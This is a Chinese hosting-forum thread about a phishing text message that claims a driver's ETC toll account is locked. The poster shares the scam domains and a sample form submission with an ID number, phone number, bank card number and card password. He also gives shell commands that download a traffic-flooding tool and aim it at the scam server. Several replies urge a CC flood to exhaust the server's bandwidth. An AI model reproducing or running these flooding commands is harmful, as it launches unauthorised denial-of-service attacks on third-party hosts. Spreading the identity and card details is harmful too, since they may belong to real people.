MJJ们, 来活了, 有个骗子需要大家安慰

maintell

刚刚收到短信:

【重要通知】系统更新导致您的e​t​c被锁定,请于9月16号前点开jg.houvz.xyz 解​除​禁​用,否则将影响出行


骗子用了一个很长的域名:
mwxsohylpmusrl.mfuznpeedcollg.dkwmhlkxgl.snrlweqzc.jjmaqshcyfcmak.bkidf.nnktofuf.iaozkcjnv.ktgobhaaccdeon.qwead.fnpjkajqn.top
现在骗子都这么没技术含量的吗?

发一个测试的payload :
Request URL: http://mwxsohylpmusrl.mfuznpeedcollg.dkwmhlkxgl.snrlweqzc.jjmaqshcyfcmak.bkidf.nnktofuf.iaozkcjnv.ktgobhaaccdeon.qwead.fnpjkajqn.top/business/t-ec-info/saveDetailInfo

{"uname":"莫天","idCard":"420101198402279160","cardPhone":"15770239843","os":null,"cardNumber":"8701000077313182","cardName":"储蓄卡-浦东发展银行","cardType":"","cardPass":"96665813454","tk":"7823fba1-870c-4140-a7fd-6c29b83e3355","ipAddr":""}

骗子服务器在vultr, 连个cdn都不套

刷流量脚本如下:
wget https://github.com/maintell/webBenchmark/releases/download/0.2/webBenchmark_linux_x64 -o webBenchmark_linux_x64
chmod +x webBenchmark_linux_x64
./webBenchmark_linux_x64 -s http://vmkehlsd.bevhd.qkrxyvzhvlfygg.yheiizcodb.tnendgol.kovgr.bcwyfywsmqwcle.ofdl.llhitkypke.qwead.fnpjkajqn.top/gsgovrz/app/hometu.jpg  -c 128

canger

你就直说要送他走还是刷爆它 是d是c你得说啊

marcle

这个套路真老

LikeOracle

可以，够长，很带劲

optimism

好好打一下骗子

16qf

给他CC把流量刷完欠费就没了

Trojan.

mwxsohylpmusrl.mfuznpeedcollg.dkwmhlkxgl.snrlweqzc.jjmaqshcyfcmak.bkidf.nnktofuf.iaozkcjnv.ktgobhaaccdeon.qwead.fnpjkajqn.top

能弄这么长这么多级的域名，就有点技术水平   起码不查查资料看看，我也不会搞那么多层的，足足九级域名

Reverie

Trojan. 发表于 2021-9-16 15:51
mwxsohylpmusrl.mfuznpeedcollg.dkwmhlkxgl.snrlweqzc.jjmaqshcyfcmak.bkidf.nnktofuf.iaozkcjnv.ktgobhaac ...

https://443502.xyz/thread-862874-1-1.html